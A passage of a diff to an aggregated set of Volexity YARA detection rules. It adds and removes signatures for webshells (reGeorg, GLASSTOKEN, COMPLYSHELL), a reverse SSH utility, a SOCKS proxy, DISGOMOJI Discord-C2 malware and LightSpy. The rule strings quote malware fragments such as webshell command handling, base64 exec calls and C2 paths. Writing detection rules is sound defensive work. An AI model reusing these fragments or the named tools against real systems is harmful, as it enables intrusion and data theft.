"6025c66c2eaae30c0349731beb8a95f8a5ba1180c5481e9a49d474f4e1bb76a4" + hash3 = "6594b75939bcdab4253172f0fa9066c8aee2fa4911bd5a03421aeb7edcd9c90c" + os = "all" + os_arch = "all" + scan_context = "file,memory" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 5916 + version = 5 + + strings: + $s1 = "\"mode=attach&name=\"" ascii + $s2 = "\"mode=new&mid=\"" ascii + $s3 = "\"mode=attlist\"" ascii + $s4 = "\"mode=list\"" ascii + $s5 = "\"mode=domain\"" ascii + $s6 = "\"mode=black\"" ascii + $s7 = "\"mode=newD&d=\"" ascii + $mark1 = "chrome.runtime.onMessage.addListener" ascii + $mark2 = "chrome.webNavigation.onCompleted.addListener" ascii + $enc1 = "function BSue(string){" ascii + $enc2 = "function BSE(input){" ascii + $enc3 = "function bin2hex(byteArray)" ascii + $xhr1 = ".send(\"mode=cd1" ascii + $xhr2 = ".send(\"mode=black" ascii + $xhr3 = ".send(\"mode=domain" ascii + $xhr4 = ".send(\"mode=list" ascii + $manifest1 = "\"description\":\"advanced font\"," ascii + $manifest2 = "\"scripts\":[\"bg.js\"]" ascii + $manifest3 = "\"devtools_page\":\"dev.html\"" ascii + + condition: + (5 of ( $s* ) and all of ( $mark* ) ) or all of ( $enc* ) or 3 of ( $xhr* ) or 2 of ( $manifest* ) +} +rule VOLEXITY_Apt_Webshell_Pl_Complyshell : UTA0178 FILE MEMORY +{ + meta: + description = "Detection for the COMPLYSHELL webshell." + author = "threatintel@volexity.com" + id = "6b44b5bc-a75f-573c-b9c3-562b7874e408" + date = "2023-12-13" + modified = "2024-01-12" + reference = "TIB-20231215" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L3-L25" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "ff46691f1add20cff30fe996e2fb199ce42408e86d5642a8a43c430f2245b1f5" + score = 75 + quality = 80 + tags = "UTA0178, FILE, MEMORY" + hash1 = "8bc8f4da98ee05c9d403d2cb76097818de0b524d90bea8ed846615e42cb031d2" + os = "linux" + os_arch = "all" + scan_context = "file,memory" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 9995 + version = 4 strings: - $sx1 = "-WindowStyle Hidden -ep bypass -file" ascii - $sx2 = "BEGINDATA" ascii - $sx3 = "GET %s HTTP/1.0" ascii - $s5 = "User-Agent:" ascii - $s8 = "ALLUSERSPROFILE" ascii + $s = "eval{my $c=Crypt::RC4->new(" condition: - ( uint16( 0 ) == 0x5a4d and filesize < 30KB and 2 of ( $sx* ) ) or all of them + $s } -/* - * YARA Rule Set - * Repository Name: Volexity - * Repository: https://github.com/volexity/threat-intel - * Retrieval Date: 2026-02-22 - * Git Commit: 92353b1ccc638f5ed0e7db43a26cb40fad7f03df - * Number of Rules: 86 - * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance) - * - * - * LICENSE - * - * Copyright 2022 by Volexity, Inc. - -The 2-Clause BSD License - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: -1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. -2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ -rule VOLEXITY_Apt_Malware_Py_Upstyle : UTA0218 FILE MEMORY +rule VOLEXITY_Apt_Webshell_Aspx_Glasstoken : UTA0178 FILE MEMORY { meta: - description = "Detect the UPSTYLE webshell." + description = "Detection for a custom webshell seen on Exchange server. The webshell contains two functions, the first is to act as a Tunnel, using code borrowed from reGeorg, the second is custom code to execute arbitrary .NET code." author = "threatintel@volexity.com" - id = "45726f35-8b3e-5095-b145-9e7f6da6838b" - date = "2024-04-11" - modified = "2024-04-12" - reference = "TIB-20240412" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-04-12 Palo Alto Networks GlobalProtect/indicators/rules.yar#L1-L34" + id = "2f07748a-a52f-5ac7-9d3e-50fd3ecea271" + date = "2023-12-12" + modified = "2024-09-30" + reference = "TIB-20231215" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L26-L52" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "51923600b23d23f4ce29eac7f5ab9f7e1ddb45bed5f6727ddec4dcb75872e473" + logic_hash = "6b8183ac1e87a86c58760db51f767ed278cc0c838ed89e7435af7d0373e58b26" score = 75 - quality = 80 - tags = "UTA0218, FILE, MEMORY" - hash1 = "3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac" - hash2 = "0d59d7bddac6c22230187ef6cf7fa22bca93759edc6f9127c41dc28a2cea19d8" - hash3 = "4dd4bd027f060f325bf6a90d01bfcf4e7751a3775ad0246beacc6eb2bad5ec6f" - os = "linux" + quality = 55 + tags = "UTA0178, FILE, MEMORY" + hash1 = "26cbb54b1feb75fe008e36285334d747428f80aacdb57badf294e597f3e9430d" + os = "win" os_arch = "all" scan_context = "file,memory" severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10429 - version = 2 + rule_id = 9994 + version = 6 strings: - $stage1_str1 = "/opt/pancfg/mgmt/licenses/PA_VM" - $stage1_str2 = "exec(base64." - $stage2_str1 = "signal.signal(signal.SIGTERM,stop)" - $stage2_str2 = "exec(base64." - $stage3_str1 = "write(\"/*\"+output+\"*/\")" - $stage3_str2 = "SHELL_PATTERN" + $s1 = "=Convert.FromBase64String(System.Text.Encoding.Default.GetString(" ascii + $re = /Assembly\.Load\(errors\)\.CreateInstance\("[a-z0-9A-Z]{4,12}"\).GetHashCode\(\);/ condition: - all of ( $stage1* ) or all of ( $stage2* ) or all of ( $stage3* ) + for any i in ( 0 .. math.min ( #s1 , 100 ) ) : ( $re in ( @s1 [ i ] .. @s1 [ i ] + 512 ) ) } -rule VOLEXITY_Susp_Any_Jarischf_User_Path : FILE MEMORY +rule VOLEXITY_Webshell_Aspx_Regeorg : FILE MEMORY { meta: - description = "Detects paths embedded in samples in released projects written by Ferdinand Jarisch, a pentester in AISEC. These tools are sometimes used by attackers in real world intrusions." + description = "Detects the reGeorg webshell based on common strings in the webshell. May also detect other webshells which borrow code from ReGeorg." author = "threatintel@volexity.com" - id = "062a6fdb-c516-5643-9c7c-deff32eeb95e" - date = "2024-04-10" - modified = "2024-04-15" - reference = "TIB-20240412" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-04-12 Palo Alto Networks GlobalProtect/indicators/rules.yar#L59-L81" + id = "02365a30-769e-5c47-8d36-a79608ffd121" + date = "2018-08-29" + modified = "2024-01-09" + reference = "TIB-20231215" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L53-L86" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "574d5b1fadb91c39251600e7d73d4993d4b16565bd1427a0e8d6ed4e7905ab54" - score = 50 + hash = "9d901f1a494ffa98d967ee6ee30a46402c12a807ce425d5f51252eb69941d988" + logic_hash = "4fed023e85a32052917f6db1e2e155c91586538938c03acc59f200a8264888ca" + score = 75 quality = 80 tags = "FILE, MEMORY" - hash1 = "161fd76c83e557269bee39a57baa2ccbbac679f59d9adff1e1b73b0f4bb277a6" - os = "all" + os = "win" os_arch = "all" scan_context = "file,memory" - severity = "high" + severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10424 - version = 4 + rule_id = 410 + version = 7 strings: - $proj_1 = "/home/jarischf/" + $a1 = "every office needs a tool like Georg" ascii + $a2 = "cmd = Request.QueryString.Get(\"cmd\")" ascii + $a3 = "exKak.Message" ascii + $proxy1 = "if (rkey != \"Content-Length\" && rkey != \"Transfer-Encoding\")" + $proxy_b1 = "StreamReader repBody = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding(\"UTF-8\"));" ascii + $proxy_b2 = "string rbody = repBody.ReadToEnd();" ascii + $proxy_b3 = "Response.AddHeader(\"Content-Length\", rbody.Length.ToString());" ascii condition: - any of ( $proj_* ) + any of ( $a* ) or $proxy1 or all of ( $proxy_b* ) } -rule VOLEXITY_Hacktool_Golang_Reversessh_Fahrj : FILE MEMORY +rule VOLEXITY_Hacktool_Py_Pysoxy : FILE MEMORY { meta: - description = "Detects a reverse SSH utility available on GitHub. Attackers may use this tool or similar tools in post-exploitation activity." + description = "SOCKS5 proxy tool used to relay connections." author = "threatintel@volexity.com" - id = "332e323f-cb16-5aa2-8b66-f3d6d50d94f2" - date = "2024-04-10" - modified = "2024-04-12" - reference = "TIB-20240412" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-04-12 Palo Alto Networks GlobalProtect/indicators/rules.yar#L82-L116" + id = "88094b55-784d-5245-9c40-b1eebf0e6e72" + date = "2024-01-09" + modified = "2024-01-09" + reference = "TIB-20240109" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L87-L114" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "38b40cc7fc1e601da2c7a825f1c2eff209093875a5829ddd2f4c5ad438d660f8" + logic_hash = "f73e9d3c2f64c013218469209f3b69fc868efafc151a7de979dde089bfdb24b2" score = 75 quality = 80 tags = "FILE, MEMORY" - hash1 = "161fd76c83e557269bee39a57baa2ccbbac679f59d9adff1e1b73b0f4bb277a6" + hash1 = "e192932d834292478c9b1032543c53edfc2b252fdf7e27e4c438f4b249544eeb" os = "all" os_arch = "all" scan_context = "file,memory" severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10423 - version = 5 + rule_id = 10065 + version = 3 strings: - $fun_1 = "createLocalPortForwardingCallback" - $fun_2 = "createReversePortForwardingCallback" - $fun_3 = "createPasswordHandler" - $fun_4 = "createPublicKeyHandler" - $fun_5 = "createSFTPHandler" - $fun_6 = "dialHomeAndListen" - $fun_7 = "createExtraInfoHandler" - $fun_8 = "createSSHSessionHandler" - $fun_9 = "createReversePortForwardingCallback" - $proj_1 = "github.com/Fahrj/reverse-ssh" + $s1 = "proxy_loop" ascii + $s2 = "connect_to_dst" ascii + $s3 = "request_client" ascii + $s4 = "subnegotiation_client" ascii + $s5 = "bind_port" ascii condition: - any of ( $proj_* ) or 4 of ( $fun_* ) + all of them } rule VOLEXITY_Apt_Malware_Vbs_Basicstar_A : CHARMINGCYPRESS FILE MEMORY { @@ -161990,340 +162640,144 @@ rule VOLEXITY_Apt_Malware_Ps1_Powerstar_Generic : CHARMINGCYPRESS FILE MEMORY condition: all of ( $http* ) or all of ( $json* ) } -rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Modules : TRANSPARENTJASMINE FILE MEMORY -{ - meta: - description = "Detects DISGOMOJI modules using strings in the ELF." - author = "threatintel@volexity.com" - id = "b9e4ecdc-9b02-546f-9b79-947cb6b1f99a" - date = "2024-02-22" - modified = "2024-07-05" - reference = "TIB-20240229" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L1-L24" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "7880288e3230b688b780bdfbac2b0761fd7831b7df233672c2242c21a86e1297" - score = 75 - quality = 80 - tags = "TRANSPARENTJASMINE, FILE, MEMORY" - hash1 = "2abaae4f6794131108adf5b42e09ee5ce24769431a0e154feabe6052cfe70bf3" - os = "linux" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10270 - version = 6 - - strings: - $s1 = "discord-c2/test/main/finalizing/Deliveries/ob_Delivery.go" wide ascii - $s2 = "discord-c2/test/main/finalizing/WAN_Conf.go" wide ascii - - condition: - any of them -} -rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Loader : TRANSPARENTJASMINE FILE MEMORY -{ - meta: - description = "Detects DISGOMOJI loader using strings in the ELF." - author = "threatintel@volexity.com" - id = "6d7848db-f1a5-5ccc-977a-7597b966a31c" - date = "2024-02-22" - modified = "2024-07-05" - reference = "TIB-20240229" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L25-L47" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "d9be4846bab5fffcfd60eaec377443819404f30ec088905c2ee26bd3b7525832" - score = 75 - quality = 80 - tags = "TRANSPARENTJASMINE, FILE, MEMORY" - hash1 = "51a372fee89f885741515fa6fdf0ebce860f98145c9883f2e3e35c0fe4432885" - os = "linux" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10269 - version = 7 - - strings: - $s1 = "discord-c2/test/main/delievery.go" wide ascii - - condition: - $s1 -} -rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Debug_String : TRANSPARENTJASMINE FILE MEMORY -{ - meta: - description = "Detects DISGOMOJI using strings in the ELF." - author = "threatintel@volexity.com" - id = "eed2468f-7e50-5f3e-946a-277c10984823" - date = "2024-02-22" - modified = "2024-11-27" - reference = "TIB-20240229" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L48-L71" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "6bb130eead39bd8128983e0f2e76cfeff8865ce8ed3cb73b132ed32d68fc0db0" - score = 75 - quality = 80 - tags = "TRANSPARENTJASMINE, FILE, MEMORY" - hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529" - os = "linux" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10268 - version = 9 - - strings: - $s1 = "discord-c2/test/main/payload.go" wide ascii - $s2 = "Desktop/Golang_Dev/Discord" - - condition: - any of them -} -rule VOLEXITY_Apt_Malware_Linux_Disgomoji_2 : TRANSPARENTJASMINE FILE MEMORY -{ - meta: - description = "Detects DISGOMOJI malware using strings in the ELF." - author = "threatintel@volexity.com" - id = "609beb47-5e93-5f69-b89d-2cf62f20851a" - date = "2024-02-22" - modified = "2024-07-05" - reference = "TIB-20240229" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L72-L103" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "e03a774cca2946c1becdbd775ef465033dae089d578ea18a4f43fd7bdae9168e" - score = 75 - quality = 80 - tags = "TRANSPARENTJASMINE, FILE, MEMORY" - hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529" - os = "linux" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10266 - version = 9 - - strings: - $s1 = "downloadFileFromURL" wide ascii - $s2 = "createCronJob" wide ascii - $s3 = "findAndSendFiles" wide ascii - $s4 = "updateLogFile" wide ascii - $s5 = "handleZipFile" wide ascii - $s6 = "takeScreenshot" wide ascii - $s7 = "zipFirefoxProfile" wide ascii - $s8 = "zipDirectoryWithParts" wide ascii - $s9 = "uploadAndSendToOshi" wide ascii - $s10 = "uploadAndSendToLeft" wide ascii - - condition: - 7 of them -} -rule VOLEXITY_Apt_Malware_Linux_Disgomoji_1 : TRANSPARENTJASMINE FILE MEMORY +rule VOLEXITY_Apt_Malware_Win_Deepdata_Module : BRAZENBAMBOO FILE MEMORY { meta: - description = "Detects GOMOJI malware using strings in the ELF." + description = "Detects modules used by DEEPDATA based on the required export names used by those modules." author = "threatintel@volexity.com" - id = "f6643e9a-ca41-57e0-9fce-571d340f1cfe" - date = "2024-02-22" - modified = "2024-07-05" - reference = "TIB-20240229" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L104-L131" + id = "1287f5dd-9229-57ce-a91a-73d61041df80" + date = "2024-07-30" + modified = "2024-11-14" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-11-15 BrazenBamboo/rules.yar#L1-L25" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "dd3535079881ae9cfe25c129803668cb595be89b7f62eb82af19cc3839f92b6d" + logic_hash = "d36f34343826daf7f7368118c7127c7181a54c99a01803016c9a6965abb309cb" score = 75 quality = 80 - tags = "TRANSPARENTJASMINE, FILE, MEMORY" - hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529" - os = "linux" + tags = "BRAZENBAMBOO, FILE, MEMORY" + hash1 = "c782346bf9e5c08a0c43a85d4991f26b0b3c99c054fa83beb4a9e406906f011e" + os = "win" os_arch = "all" scan_context = "file,memory" severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10265 - version = 7 - - strings: - $s1 = "Session *%s* opened!" wide ascii - $s2 = "uevent_seqnum.sh" wide ascii - $s3 = "Error downloading shell script: %v" wide ascii - $s4 = "Error setting execute permissions: %v" wide ascii - $s5 = "Error executing shell script: %v" wide ascii - $s6 = "Error creating Discord session" wide ascii - - condition: - 4 of them -} -rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Bogus_Strings : TRANSPARENTJASMINE FILE -{ - meta: - description = "Detects the DISGOMOJI malware using bogus strings introduced in the newer version." - author = "threatintel@volexity.com" - id = "ecff8d3c-d4fe-5b6d-a227-6ff531cf8e2b" - date = "2024-03-14" - modified = "2024-07-05" - reference = "TIB-20240318" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L132-L159" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "0d8a2b371ffb182e60a8cc0cc500d1a9f906718a55f23f35f6c12f7faabbe971" - score = 75 - quality = 80 - tags = "TRANSPARENTJASMINE, FILE" - hash1 = "8c8ef2d850bd9c987604e82571706e11612946122c6ab089bd54440c0113968e" - os = "linux" - os_arch = "all" - scan_context = "file" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10341 - version = 5 + rule_id = 10868 + version = 2 strings: - $s1 = "Graphics Display Rendering" wide ascii - $s2 = "Error fetching Repository Key: %v" wide ascii - $s3 = "Error reading Repository Key: %v" wide ascii - $s4 = "Error fetching dpkg: %v" wide ascii - $s5 = "GNU Drivers Latest version v1.4.2" wide ascii - $s6 = "ps_output.txt" wide ascii + $str1 = "ExecuteCommand" + $str2 = "GetPluginCommandID" + $str3 = "GetPluginName" + $str4 = "GetPluginVersion" condition: all of them } -rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Script_Uevent_Seqnum : TRANSPARENTJASMINE FILE -{ - meta: - description = "Detects a script deployed as part of DISGOMOJI malware chain." - author = "threatintel@volexity.com" - id = "9df61164-6a92-5042-ba4f-64dc7e998283" - date = "2024-03-07" - modified = "2024-07-05" - reference = "TIB-20240318" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L160-L187" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "e390e83d9fc15499c9f32ad47d1c526273105602bda7b3532720b0a3f6abc835" - score = 75 - quality = 80 - tags = "TRANSPARENTJASMINE, FILE" - hash1 = "98b24fb7aaaece7556aea2269b4e908dd79ff332ddaa5111caec49123840f364" - os = "linux" - os_arch = "all" - scan_context = "file" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10314 - version = 6 - - strings: - $s1 = "USB_DIR=\"/media/$USER\"" wide ascii - $s2 = "RECORD_FILE=\"record.txt\"" wide ascii - $s3 = "copy_files()" wide ascii - $s4 = "Check for connected USB drives" wide ascii - $s5 = "Check if filename already exists in record.txt" wide ascii - $s6 = "Function to copy files from USB drive to destination folder" wide ascii - - condition: - 3 of them -} -rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Script_Lan_Conf : TRANSPARENTJASMINE FILE -{ - meta: - description = "Detects a script deployed as part of DISGOMOJI malware chain." - author = "threatintel@volexity.com" - id = "b338b3cf-22ce-5767-bdea-503e883bc84b" - date = "2024-03-07" - modified = "2024-07-05" - reference = "TIB-20240318" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L188-L215" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "2a19d5cff7adc9b1b92538a5df4e3cadea694f925f65080f5093fc5425e840f4" - score = 75 - quality = 80 - tags = "TRANSPARENTJASMINE, FILE" - hash1 = "0b5cf9bd917f0af03dd694ff4ce39b0b34a97c9f41b87feac1dc884a684f60ef" - os = "linux" - os_arch = "all" - scan_context = "file" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10312 - version = 7 - - strings: - $s1 = "add_lan_conf_cron_if_not_exists" wide ascii - $s2 = "download_if_not_exists" wide ascii - $s3 = "add_cron_if_not_exists" wide ascii - $s4 = "uevent_seqnum.sh" wide ascii - $s5 = "$HOME/.x86_64-linux-gnu" wide ascii - $s6 = "lanConfScriptPath" wide ascii - - condition: - 4 of them -} -rule VOLEXITY_Malware_Golang_Discordc2_Bmdyy_1 : FILE MEMORY +rule VOLEXITY_Apt_Malware_Win_Lightspy_Orchestrator_Decoded_Core : BRAZENBAMBOO FILE MEMORY { meta: - description = "Detects a opensource malware available on github using strings in the binary. The DISGOMOJI malware family used by TransparentJasmine is based on this malware." + description = "Detects the decoded orchestrator for the Windows variant of the LightSpy malware family. This file is normally stored in an encoded state on the C2 server and is used as the core component of this malware family, loading additional plugins from the C2 whilst managing all the C2 communication etc." author = "threatintel@volexity.com" - id = "6816d264-4311-5e90-948b-2e27cdf0b720" - date = "2024-03-28" - modified = "2024-07-05" - reference = "TIB-20240229" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L216-L243" + id = "44f8d7a4-7f48-5960-91a7-baf475f7d291" + date = "2024-02-15" + modified = "2024-07-03" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-11-15 BrazenBamboo/rules.yar#L244-L287" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "22b3e5109d0738552fbc310344b2651ab3297e324bc883d5332c1e8a7a1df29b" + logic_hash = "f0189c0a84c53e365130e9683f2f2b2f73c14412d8e4d0251a4780d0e80162d8" score = 75 - quality = 80 - tags = "FILE, MEMORY" - hash1 = "de32e96d1f151cc787841c12fad88d0a2276a93d202fc19f93631462512fffaf" - os = "all" + quality = 78 + tags = "BRAZENBAMBOO, FILE, MEMORY" + hash1 = "80c0cdb1db961c76de7e4efb6aced8a52cd0e34178660ef34c128be5f0d587df" + os = "win" os_arch = "all" scan_context = "file,memory" - severity = "high" + severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10390 - version = 3 + rule_id = 10246 + version = 2 strings: - $s1 = "File is bigger than 8MB" wide ascii - $s2 = "Uploaded file to" wide ascii - $s3 = "sess-%d" wide ascii - $s4 = "Session *%s* opened" wide ascii - $s5 = "%s%d_%dx%d.png" wide ascii + $s1 = "Enter RunWork......." + $s2 = "it's running......." + $s3 = "select ret = socket_error." + $s4 = "%s\\\\account.bin" + $s5 = "[CtrlLink]: get machine sn err:%d" + $s6 = "wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /format:list | findstr /v \\\"^$\\\"" + $s7 = "wmic csproduct get vendor,version /format:list | findstr /v \\\"^$\\\"" + $s8 = "local ip get sockname error=%d" + $s9 = "connect goole dns error=%d" + $s10 = "%s/api/terminal/upsert/" + $s11 = "/963852741/windows/plugin/manifest" + $s12 = "Hello deepdata." + $s13 = "Start Light." + $s14 = "InitialPluginManager Error." + $s15 = "InitialCommandExe Error." + $s16 = "ws open, and send logon info." + $s17 = "plugin_replay_handler" + $s18 = "light_x86.dll" + $pdb1 = "\\light\\bin\\light_x86.pdb" + $pdb2 = "\\light\\bin\\plugin" + $pdb3 = "D:\\tmpWork\\" condition: - 4 of them + 1 of ( $pdb* ) or 5 of ( $s* ) } -rule VOLEXITY_Malware_Golang_Discordc2_Bmdyy : FILE MEMORY +rule VOLEXITY_Apt_Malware_Win_Lightspy_Orchestrator_Decoded_C2_Strings : BRAZENBAMBOO FILE MEMORY { meta: - description = "Detects a opensource malware available on github using strings in the binary. DISGOMOJI used by TransparentJasmine is based on this malware." + description = "Detects the decoded orchestrator for the Windows variant of the LightSpy malware family. This file is normally stored in an encoded state on the C2 server and is used as the core component of this malware family, loading additional plugins from the C2 whilst managing all the C2 communication etc." author = "threatintel@volexity.com" - id = "1ddbf476-ba2d-5cbb-ad95-38e0ae8db71b" - date = "2024-02-22" - modified = "2024-07-05" - reference = "https://github.com/bmdyy/discord-c2" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L244-L267" + id = "a0af8fb7-13a3-54e8-8569-e8622fa80d89" + date = "2024-02-15" + modified = "2024-11-14" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-11-15 BrazenBamboo/rules.yar#L288-L337" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "38b860a43b9937351f74b01983888f18ad101cbe66560feb7455d46b713eba0f" + logic_hash = "eeaaf6e16d4854a2279bd62596f75cb8b8ec1b05f3b050f5dac97254704b9005" score = 75 - quality = 80 - tags = "FILE, MEMORY" - hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529" - os = "all" + quality = 78 + tags = "BRAZENBAMBOO, FILE, MEMORY" + hash1 = "80c0cdb1db961c76de7e4efb6aced8a52cd0e34178660ef34c128be5f0d587df" + os = "win" os_arch = "all" scan_context = "file,memory" severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 10264 - version = 12 + rule_id = 10245 + version = 4 strings: - $s1 = "**IP**: %s\n**User**: %s\n**Hostname**: %s\n**OS**: %s\n**CWD**" wide ascii + $s1 = "[WsClient][Error]:" + $s2 = "[WsClient][Info]:" + $s3 = "[WsClient]:WsClient" + $s4 = 